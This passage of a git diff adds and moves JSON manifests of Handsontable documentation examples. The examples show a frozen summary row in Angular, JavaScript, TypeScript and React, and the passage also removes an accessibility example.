    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\n\nconst SUMMARY_SOURCE = 'updateSummary';\n\ntype Row = {\n item: string;\n units: number | string;\n price: number | string;\n tax: number | string;\n};\n\nfunction parseNumeric(value: unknown): number | null {\n if (typeof value === 'number' && Number.isFinite(value)) {\n return value;\n }\n\n if (typeof value === 'string' && value.trim() !== '') {\n const n = Number(value);\n\n if (Number.isFinite(n)) {\n return n;\n }\n }\n\n return null;\n}\n\nconst tableData: Row[] = [\n { item: 'Module A', units: 12, price: 49.5, tax: 5.2 },\n { item: 'Module B', units: 8, price: 120, tax: 8 },\n { item: 'Module C', units: 3, price: 200, tax: '\\u2014' },\n { item: 'Module D', units: 15, price: 35, tax: 4.1 },\n { item: 'Module E', units: 0, price: 75, tax: 6 },\n { item: '', units: '', price: '', tax: '' },\n];\n\nconst numericProps: (keyof Row)[] = ['units', 'price', 'tax'];\nconst summaryRowIndex = tableData.length - 1;\n\nfunction formatSummary(prop: keyof Row): string {\n const numbers: number[] = [];\n\n for (let row = 0; row < summaryRowIndex; row += 1) {\n const n = parseNumeric(tableData[row][prop]);\n\n if (n !== null) {\n numbers.push(n);\n }\n }\n\n if (numbers.length === 0) {\n return '\\u2014';\n }\n\n const sum = numbers.reduce((acc, n) => acc + n, 0);\n const avg = sum / numbers.length;\n\n return `Sum: ${sum.toFixed(2)} · Avg: ${avg.toFixed(2)} · Count: ${numbers.length}`;\n}\n\nfunction refreshSummary(hot: Handsontable): void {\n hot.batch(() => {\n hot.setDataAtRowProp(summaryRowIndex, 'item', 'Totals', SUMMARY_SOURCE);\n\n numericProps.forEach((prop) => {\n hot.setDataAtRowProp(summaryRowIndex, prop, formatSummary(prop), SUMMARY_SOURCE);\n });\n });\n}\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'example1-frozen-summary-row',\n template: `\n
    \n \n
    \n `,\n})\nexport class AppComponent {\n readonly data = tableData;\n\n readonly gridSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: ['Item', 'Units', 'Price', 'Tax'],\n fixedRowsBottom: 1,\n height: 'auto',\n width: '100%',\n columns: [\n { data: 'item', type: 'text', readOnly: false },\n { data: 'units', type: 'numeric', numericFormat: { maximumFractionDigits: 0 } },\n { data: 'price', type: 'numeric', numericFormat: { minimumFractionDigits: 2, maximumFractionDigits: 2 } },\n { data: 'tax', type: 'numeric', numericFormat: { minimumFractionDigits: 2, maximumFractionDigits: 2 } },\n ],\n cells(row: number, _col: number, prop: string | number): Handsontable.CellMeta {\n if (row !== summaryRowIndex) {\n return {};\n }\n\n const meta: Handsontable.CellMeta = {\n readOnly: true,\n className: 'htSummaryRow',\n };\n\n if (prop !== 'item') {\n meta['type'] = 'text';\n meta['className'] = 'htSummaryRow htRight';\n }\n\n return meta;\n },\n afterInit(this: Handsontable): void {\n refreshSummary(this);\n },\n afterChange(\n this: Handsontable,\n changes: Handsontable.CellChange[] | null,\n source: Handsontable.ChangeSource,\n ): void {\n if (!changes || (source as string) === SUMMARY_SOURCE) {\n return;\n }\n\n if (changes.every(([row]) => row === summaryRowIndex)) {\n return;\n }\n\n refreshSummary(this);\n },\n beforeUndoStackChange(\n _doneActions: unknown[],\n source: string | undefined,\n ): boolean | void {\n if (source === SUMMARY_SOURCE) {\n return false;\n }\n },\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};","/src/styles.css":".htSummaryRow {\n font-weight: 600;\n background-color: var(--ht-background-color-extra-light, #f2f3f5);\n}"},"docsPath":"recipes/rendering-styling/frozen-summary-row/angular/example1.ts","breadcrumb":["Recipes","Rendering Styling","Frozen summary row"],"guide":"recipes/rendering-styling/frozen-summary-row/frozen-summary-row.md","guideTitle":"Frozen summary row","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/rendering-styling/frozen-summary-row","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__frozen-summary-row__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__frozen-summary-row__javascript__example1.js.json new file mode 100644 index 00000000..85b59fd8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__frozen-summary-row__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Recipes ▸ Rendering Styling ▸ Frozen summary row · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nregisterAllModules();\nconst SUMMARY_SOURCE = 'updateSummary';\nfunction parseNumeric(value) {\n if (typeof value === 'number' && Number.isFinite(value)) {\n return value;\n }\n if (typeof value === 'string' && value.trim() !== '') {\n const n = Number(value);\n if (Number.isFinite(n)) {\n return n;\n }\n }\n return null;\n}\nconst data = [\n { item: 'Module A', units: 12, price: 49.5, tax: 5.2 },\n { item: 'Module B', units: 8, price: 120, tax: 8 },\n { item: 'Module C', units: 3, price: 200, tax: '\\u2014' },\n { item: 'Module D', units: 15, price: 35, tax: 4.1 },\n { item: 'Module E', units: 0, price: 75, tax: 6 },\n { item: '', units: '', price: '', tax: '' },\n];\nconst numericProps = ['units', 'price', 'tax'];\nconst summaryRowIndex = data.length - 1;\nfunction formatSummary(prop) {\n const numbers = [];\n for (let row = 0; row < summaryRowIndex; row += 1) {\n const n = parseNumeric(data[row][prop]);\n if (n !== null) {\n numbers.push(n);\n }\n }\n if (numbers.length === 0) {\n return '\\u2014';\n }\n const sum = numbers.reduce((acc, n) => acc + n, 0);\n const avg = sum / numbers.length;\n return `Sum: ${sum.toFixed(2)} · Avg: ${avg.toFixed(2)} · Count: ${numbers.length}`;\n}\nfunction refreshSummary(hot) {\n hot.batch(() => {\n hot.setDataAtRowProp(summaryRowIndex, 'item', 'Totals', SUMMARY_SOURCE);\n numericProps.forEach((prop) => {\n hot.setDataAtRowProp(summaryRowIndex, prop, formatSummary(prop), SUMMARY_SOURCE);\n });\n });\n}\nconst container = document.querySelector('#example1');\n// eslint-disable-next-line no-unused-vars -- recipe keeps instance for debugging\nconst hot = new Handsontable(container, {\n data,\n licenseKey: 'non-commercial-and-evaluation',\n rowHeaders: true,\n colHeaders: ['Item', 'Units', 'Price', 'Tax'],\n fixedRowsBottom: 1,\n height: 'auto',\n width: '100%',\n columns: [\n { data: 'item', type: 'text', readOnly: false },\n { data: 'units', type: 'numeric', numericFormat: { maximumFractionDigits: 0 } },\n { data: 'price', type: 'numeric', numericFormat: { minimumFractionDigits: 2, maximumFractionDigits: 2 } },\n { data: 'tax', type: 'numeric', numericFormat: { minimumFractionDigits: 2, maximumFractionDigits: 2 } },\n ],\n cells(row, _col, prop) {\n if (row !== summaryRowIndex) {\n return {};\n }\n const meta = {\n readOnly: true,\n className: 'htSummaryRow',\n };\n if (prop !== 'item') {\n meta.type = 'text';\n meta.className = 'htSummaryRow htRight';\n }\n return meta;\n },\n afterInit() {\n refreshSummary(this);\n },\n afterChange(changes, source) {\n if (!changes || source === SUMMARY_SOURCE) {\n return;\n }\n if (changes.every(([row]) => row === summaryRowIndex)) {\n return;\n }\n refreshSummary(this);\n },\n beforeUndoStackChange(_doneActions, source) {\n if (source === SUMMARY_SOURCE) {\n return false;\n }\n },\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":".htSummaryRow {\n font-weight: 600;\n background-color: var(--ht-background-color-extra-light, #f2f3f5);\n}"},"docsPath":"recipes/rendering-styling/frozen-summary-row/javascript/example1.js","breadcrumb":["Recipes","Rendering Styling","Frozen summary row"],"guide":"recipes/rendering-styling/frozen-summary-row/frozen-summary-row.md","guideTitle":"Frozen summary row","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/rendering-styling/frozen-summary-row","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__frozen-summary-row__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__frozen-summary-row__javascript__example1.ts.json new file mode 100644 index 00000000..edf28a43 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__frozen-summary-row__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Recipes ▸ Rendering Styling ▸ Frozen summary row · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\nregisterAllModules();\n\ntype Row = {\n item: string;\n units: number | string;\n price: number | string;\n tax: number | string;\n};\n\nconst SUMMARY_SOURCE = 'updateSummary';\n\nfunction parseNumeric(value: unknown): number | null {\n if (typeof value === 'number' && Number.isFinite(value)) {\n return value;\n }\n\n if (typeof value === 'string' && value.trim() !== '') {\n const n = Number(value);\n\n if (Number.isFinite(n)) {\n return n;\n }\n }\n\n return null;\n}\n\nconst data: Row[] = [\n { item: 'Module A', units: 12, price: 49.5, tax: 5.2 },\n { item: 'Module B', units: 8, price: 120, tax: 8 },\n { item: 'Module C', units: 3, price: 200, tax: '\\u2014' },\n { item: 'Module D', units: 15, price: 35, tax: 4.1 },\n { item: 'Module E', units: 0, price: 75, tax: 6 },\n { item: '', units: '', price: '', tax: '' },\n];\n\nconst numericProps: (keyof Row)[] = ['units', 'price', 'tax'];\nconst summaryRowIndex = data.length - 1;\n\nfunction formatSummary(prop: keyof Row): string {\n const numbers: number[] = [];\n\n for (let row = 0; row < summaryRowIndex; row += 1) {\n const n = parseNumeric(data[row][prop]);\n\n if (n !== null) {\n numbers.push(n);\n }\n }\n\n if (numbers.length === 0) {\n return '\\u2014';\n }\n\n const sum = numbers.reduce((acc, n) => acc + n, 0);\n const avg = sum / numbers.length;\n\n return `Sum: ${sum.toFixed(2)} · Avg: ${avg.toFixed(2)} · Count: ${numbers.length}`;\n}\n\nfunction refreshSummary(hot: Handsontable) {\n hot.batch(() => {\n hot.setDataAtRowProp(summaryRowIndex, 'item', 'Totals', SUMMARY_SOURCE);\n\n numericProps.forEach((prop) => {\n hot.setDataAtRowProp(summaryRowIndex, prop, formatSummary(prop), SUMMARY_SOURCE);\n });\n });\n}\n\nconst container = document.querySelector('#example1')!;\n\n// eslint-disable-next-line no-unused-vars -- recipe keeps instance for debugging\nconst hot = new Handsontable(container, {\n data,\n licenseKey: 'non-commercial-and-evaluation',\n rowHeaders: true,\n colHeaders: ['Item', 'Units', 'Price', 'Tax'],\n fixedRowsBottom: 1,\n height: 'auto',\n width: '100%',\n columns: [\n { data: 'item', type: 'text', readOnly: false },\n { data: 'units', type: 'numeric', numericFormat: { maximumFractionDigits: 0 } },\n { data: 'price', type: 'numeric', numericFormat: { minimumFractionDigits: 2, maximumFractionDigits: 2 } },\n { data: 'tax', type: 'numeric', numericFormat: { minimumFractionDigits: 2, maximumFractionDigits: 2 } },\n ],\n cells(row, _col, prop) {\n if (row !== summaryRowIndex) {\n return {};\n }\n\n const meta: Handsontable.CellProperties = {\n readOnly: true,\n className: 'htSummaryRow',\n };\n\n if (prop !== 'item') {\n meta.type = 'text';\n meta.className = 'htSummaryRow htRight';\n }\n\n return meta;\n },\n afterInit() {\n refreshSummary(this);\n },\n afterChange(changes, source) {\n if (!changes || source === SUMMARY_SOURCE) {\n return;\n }\n\n if (changes.every(([row]) => row === summaryRowIndex)) {\n return;\n }\n\n refreshSummary(this);\n },\n beforeUndoStackChange(_doneActions, source) {\n if (source === SUMMARY_SOURCE) {\n return false;\n }\n },\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":".htSummaryRow {\n font-weight: 600;\n background-color: var(--ht-background-color-extra-light, #f2f3f5);\n}"},"docsPath":"recipes/rendering-styling/frozen-summary-row/javascript/example1.ts","breadcrumb":["Recipes","Rendering Styling","Frozen summary row"],"guide":"recipes/rendering-styling/frozen-summary-row/frozen-summary-row.md","guideTitle":"Frozen summary row","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/rendering-styling/frozen-summary-row","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__frozen-summary-row__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__frozen-summary-row__react__example1.tsx.json new file mode 100644 index 00000000..9fe8268a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__frozen-summary-row__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Recipes ▸ Rendering Styling ▸ Frozen summary row · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport type Handsontable from 'handsontable/base';\nimport './example1.css';\n\nregisterAllModules();\n\ntype Row = {\n item: string;\n units: number | string;\n price: number | string;\n tax: number | string;\n};\n\nconst SUMMARY_SOURCE = 'updateSummary';\n\nfunction parseNumeric(value: unknown): number | null {\n if (typeof value === 'number' && Number.isFinite(value)) {\n return value;\n }\n\n if (typeof value === 'string' && value.trim() !== '') {\n const n = Number(value);\n\n if (Number.isFinite(n)) {\n return n;\n }\n }\n\n return null;\n}\n\nconst data: Row[] = [\n { item: 'Module A', units: 12, price: 49.5, tax: 5.2 },\n { item: 'Module B', units: 8, price: 120, tax: 8 },\n { item: 'Module C', units: 3, price: 200, tax: '\\u2014' },\n { item: 'Module D', units: 15, price: 35, tax: 4.1 },\n { item: 'Module E', units: 0, price: 75, tax: 6 },\n { item: '', units: '', price: '', tax: '' },\n];\n\nconst numericProps: (keyof Row)[] = ['units', 'price', 'tax'];\nconst summaryRowIndex = data.length - 1;\n\nfunction formatSummary(prop: keyof Row): string {\n const numbers: number[] = [];\n\n for (let row = 0; row < summaryRowIndex; row += 1) {\n const n = parseNumeric(data[row][prop]);\n\n if (n !== null) {\n numbers.push(n);\n }\n }\n\n if (numbers.length === 0) {\n return '\\u2014';\n }\n\n const sum = numbers.reduce((acc, n) => acc + n, 0);\n const avg = sum / numbers.length;\n\n return `Sum: ${sum.toFixed(2)} · Avg: ${avg.toFixed(2)} · Count: ${numbers.length}`;\n}\n\nfunction refreshSummary(hot: Handsontable): void {\n hot.batch(() => {\n hot.setDataAtRowProp(summaryRowIndex, 'item', 'Totals', SUMMARY_SOURCE);\n\n numericProps.forEach((prop) => {\n hot.setDataAtRowProp(summaryRowIndex, prop, formatSummary(prop), SUMMARY_SOURCE);\n });\n });\n}\n\nconst ExampleComponent = () => {\n return (\n row === summaryRowIndex)) {\n return;\n }\n\n refreshSummary(this);\n }}\n beforeUndoStackChange={function (\n _doneActions: Handsontable.UndoRedoAction[],\n source: string | undefined,\n ): boolean | void {\n if (source === SUMMARY_SOURCE) {\n return false;\n }\n }}\n />\n );\n};\n\nexport default ExampleComponent;","/src/example1.css":".htSummaryRow {\n font-weight: 600;\n background-color: var(--ht-background-color-extra-light, #f2f3f5);\n}"},"docsPath":"recipes/rendering-styling/frozen-summary-row/react/example1.tsx","breadcrumb":["Recipes","Rendering Styling","Frozen summary row"],"guide":"recipes/rendering-styling/frozen-summary-row/frozen-summary-row.md","guideTitle":"Frozen summary row","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/rendering-styling/frozen-summary-row","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/recipes__rendering-styling__sparkline-cell-renderer__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__sparkline-cell-renderer__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__rendering-styling__sparkline-cell-renderer__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__sparkline-cell-renderer__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__rendering-styling__sparkline-cell-renderer__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__sparkline-cell-renderer__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__rendering-styling__sparkline-cell-renderer__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__sparkline-cell-renderer__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__rendering-styling__sparkline-cell-renderer__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__sparkline-cell-renderer__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__rendering-styling__sparkline-cell-renderer__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__sparkline-cell-renderer__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__rendering-styling__sparkline-cell-renderer__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__sparkline-cell-renderer__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__rendering-styling__sparkline-cell-renderer__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__rendering-styling__sparkline-cell-renderer__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessibility__accessibility__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessibility__accessibility__angular__example1.ts.json deleted file mode 100644 index 80d63bf8..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessibility__accessibility__angular__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Accessibility · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n\n
    \n \n
    \n
    \n
    \n \n \n \n \n
    \n
    \n \n \n \n \n
    \n
    \n \n \n \n \n
    \n
    \n \n \n \n \n
    \n
    \n \n \n \n \n
    \n
    \n \n \n \n \n
    \n
    \n \n \n \n \n
    \n
    \n \n \n \n
    \n \n
    \n \n \n
    \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import {Component, OnInit, ViewChild} from '@angular/core';\nimport {GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\nimport type Handsontable from 'handsontable/base';\n\n@Component({\n selector: 'app-example1',\n standalone: true,\n imports: [HotTableModule],\n template: `\n \n \n `,\n})\nexport class AppComponent implements OnInit {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n hotData: Handsontable.RowObject[] = [];\n\n hotSettings!: GridSettings;\n\n ngOnInit() {\n const products = [\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-07-05',\n inStock: false,\n qty: 82,\n orderId: '16-3974628',\n country: 'United Kingdom',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-05-31',\n inStock: false,\n qty: 459,\n orderId: '77-7839351',\n country: 'Costa Rica',\n },\n {\n companyName: 'Reichert LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-16',\n inStock: false,\n qty: 318,\n orderId: '75-6343150',\n country: 'United States of America',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-24',\n inStock: true,\n qty: 177,\n orderId: '56-3608689',\n country: 'Pitcairn Islands',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-29',\n inStock: true,\n qty: 51,\n orderId: '58-1204318',\n country: 'Argentina',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-03-27',\n inStock: false,\n qty: 439,\n orderId: '62-6066132',\n country: 'Senegal',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Awesome Wooden Hat',\n sellDate: '2022-11-24',\n inStock: false,\n qty: 493,\n orderId: '76-7785471',\n country: 'Cyprus',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-08-11',\n inStock: false,\n qty: 225,\n orderId: '34-3551159',\n country: 'Saint Martin',\n },\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-02-07',\n inStock: false,\n qty: 261,\n orderId: '77-1112514',\n country: 'Chile',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-06',\n inStock: false,\n qty: 439,\n orderId: '12-3252385',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-22',\n inStock: true,\n qty: 235,\n orderId: '71-7639998',\n country: 'Brazil',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2022-12-13',\n inStock: true,\n qty: 163,\n orderId: '68-1588829',\n country: 'Burkina Faso',\n },\n {\n companyName: 'Jenkins LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-03-26',\n inStock: true,\n qty: 8,\n orderId: '61-6324553',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 355,\n orderId: '74-6985005',\n country: 'Mozambique',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-08-01',\n inStock: false,\n qty: 186,\n orderId: '84-4370131',\n country: 'Cocos (Keeling) Islands',\n },\n {\n companyName: 'Rempel - Durgan',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 284,\n orderId: '13-6461825',\n country: 'Monaco',\n },\n {\n companyName: 'Lesch - Jakubowski',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-09-26',\n inStock: true,\n qty: 492,\n orderId: '13-9465439',\n country: 'Iran',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 300,\n orderId: '76-5194058',\n country: 'Indonesia',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-07-07',\n inStock: true,\n qty: 493,\n orderId: '61-8600792',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Johnston - Wisozk',\n productName: 'Small Fresh Fish',\n sellDate: '2023-07-14',\n inStock: false,\n qty: 304,\n orderId: 